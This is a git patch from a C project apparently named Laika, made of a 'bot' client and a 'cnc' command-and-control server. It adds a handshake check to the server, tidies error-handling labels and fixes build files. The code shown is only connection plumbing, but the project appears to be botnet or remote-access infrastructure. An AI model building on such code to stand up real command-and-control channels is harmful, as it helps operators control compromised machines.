From 2a0e34dd5aefda6165a2e36c21bdf231cbb9f1c1 Mon Sep 17 00:00:00 2001 From: CPunch Date: Tue, 25 Jan 2022 12:13:04 -0600 Subject: [PATCH] Added LAIKAPKT_HANDSHAKE_REQ support to cnc.c - minor refactoring - fixed CMakeLists.txt for cnc & bot --- bot/CMakeLists.txt | 2 +- bot/src/bot.c | 10 ++++++---- cnc/CMakeLists.txt | 2 +- cnc/src/cnc.c | 33 ++++++++++++++++++++++++++++----- lib/include/lsocket.h | 9 +-------- lib/src/lsocket.c | 9 +++++++++ 6 files changed, 46 insertions(+), 19 deletions(-) diff --git a/bot/CMakeLists.txt b/bot/CMakeLists.txt index 693e136..8d5d3d5 100644 --- a/bot/CMakeLists.txt +++ b/bot/CMakeLists.txt @@ -5,7 +5,7 @@ set(CMAKE_C_STANDARD_REQUIRED ON) set(BOT_INCLUDEDIR ${CMAKE_CURRENT_SOURCE_DIR}/include) -project(LaikaBot VERSION ${LAIKA_VERSION_MAJOR}.${LAIKA_VERSION_MINOR}) +project(LaikaBot VERSION 1.0) # Put CMake targets (ALL_BUILD/ZERO_CHECK) into a folder set_property(GLOBAL PROPERTY USE_FOLDERS ON) diff --git a/bot/src/bot.c b/bot/src/bot.c index fbced48..338557c 100644 --- a/bot/src/bot.c +++ b/bot/src/bot.c @@ -11,6 +11,8 @@ void laikaB_pktHandler(struct sLaika_peer *peer, uint8_t id, void *uData) { case LAIKAPKT_HANDSHAKE_RES: { uint8_t endianness = laikaS_readByte(&peer->sock); peer->sock.flipEndian = endianness != laikaS_isBigEndian(); + + LAIKA_DEBUG("handshake accepted by cnc!\n") break; } default: @@ -68,15 +70,15 @@ bool laikaB_poll(struct sLaika_bot *bot, int timeout) { LAIKA_TRY if (evnt->pollIn && !laikaS_handlePeerIn(bot->peer)) - goto _BKill; + goto _BOTKILL; if (evnt->pollOut && !laikaS_handlePeerOut(bot->peer)) - goto _BKill; + goto _BOTKILL; if (!evnt->pollIn && !evnt->pollOut) - goto _BKill; + goto _BOTKILL; LAIKA_CATCH -_BKill: +_BOTKILL: laikaS_kill(&bot->peer->sock); LAIKA_TRYEND diff --git a/cnc/CMakeLists.txt b/cnc/CMakeLists.txt index a9e68ed..3a3cdb3 100644 --- a/cnc/CMakeLists.txt +++ b/cnc/CMakeLists.txt @@ -5,7 +5,7 @@ set(CMAKE_C_STANDARD_REQUIRED ON) set(CNC_INCLUDEDIR ${CMAKE_CURRENT_SOURCE_DIR}/include) -project(LaikaCNC VERSION ${LAIKA_VERSION_MAJOR}.${LAIKA_VERSION_MINOR}) +project(LaikaCNC VERSION 1.0) # Put CMake targets (ALL_BUILD/ZERO_CHECK) into a folder set_property(GLOBAL PROPERTY USE_FOLDERS ON) diff --git a/cnc/src/cnc.c b/cnc/src/cnc.c index 47fae5f..633fa90 100644 --- a/cnc/src/cnc.c +++ b/cnc/src/cnc.c @@ -1,4 +1,5 @@ #include "lmem.h" +#include "lsocket.h" #include "lerror.h" #include "cnc.h" @@ -8,7 +9,28 @@ size_t laikaC_pktSizeTbl[LAIKAPKT_MAXNONE] = { }; void laikaC_pktHandler(struct sLaika_peer *peer, uint8_t id, void *uData) { - printf("got %d packet id!\n", id); + switch (id) { + case LAIKAPKT_HANDSHAKE_REQ: { + char magicBuf[LAIKA_MAGICLEN]; + uint8_t major, minor; + + laikaS_read(&peer->sock, (void*)magicBuf, LAIKA_MAGICLEN); + major = laikaS_readByte(&peer->sock); + minor = laikaS_readByte(&peer->sock); + + if (memcmp(magicBuf, LAIKA_MAGIC, LAIKA_MAGICLEN) != 0 + || major != LAIKA_VERSION_MAJOR + || minor != LAIKA_VERSION_MINOR) + LAIKA_ERROR("invalid handshake request!"); + + /* queue response */ + laikaS_writeByte(&peer->sock, LAIKAPKT_HANDSHAKE_RES); + laikaS_writeByte(&peer->sock, laikaS_isBigEndian()); + + LAIKA_DEBUG("accepted handshake from peer %x\n", peer); + break; + } + } } struct sLaika_cnc *laikaC_newCNC(uint16_t port) { @@ -36,7 +58,7 @@ void laikaC_freeCNC(struct sLaika_cnc *cnc) { void laikaC_killPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) { printf("peer %x killed!\n", peer); laikaP_rmvSock(&cnc->pList, (struct sLaika_socket*)peer); - laikaS_kill(&peer->sock); + laikaS_freePeer(peer); } bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) { @@ -76,15 +98,16 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) { LAIKA_TRY if (evnts[i].pollIn && !laikaS_handlePeerIn(peer)) - laikaC_killPeer(cnc, peer); + goto _CNCKILL; if (evnts[i].pollOut && !laikaS_handlePeerOut(peer)) - laikaC_killPeer(cnc, peer); + goto _CNCKILL; if (!evnts[i].pollIn && !evnts[i].pollOut) - laikaC_killPeer(cnc, peer); + goto _CNCKILL; LAIKA_CATCH + _CNCKILL: laikaC_killPeer(cnc, peer); LAIKA_TRYEND } diff --git a/lib/include/lsocket.h b/lib/include/lsocket.h index 52c95ba..a76c4b5 100644 --- a/lib/include/lsocket.h +++ b/lib/include/lsocket.h @@ -71,14 +71,7 @@ struct sLaika_socket { #define laikaS_isAlive(arg) (arg->sock != INVALID_SOCKET) -inline bool laikaS_isBigEndian(void) { - union { - uint32_t i; - uint8_t c[4]; - } _indxint = {0xDEADB33F}; - - return _indxint.c[0] == 0xDE; -} +bool laikaS_isBigEndian(void); void laikaS_init(void); void laikaS_cleanUp(void); diff --git a/lib/src/lsocket.c b/lib/src/lsocket.c index dfe4e9f..5e7095d 100644 --- a/lib/src/lsocket.c +++ b/lib/src/lsocket.c @@ -7,6 +7,15 @@ static int _LNSetup = 0; +bool laikaS_isBigEndian(void) { + union { + uint32_t i; + uint8_t c[4]; + } _indxint = {0xDEADB33F}; + + return _indxint.c[0] == 0xDE; +} + void laikaS_init(void) { if (_LNSetup++ > 0) return; /* WSA is already setup! */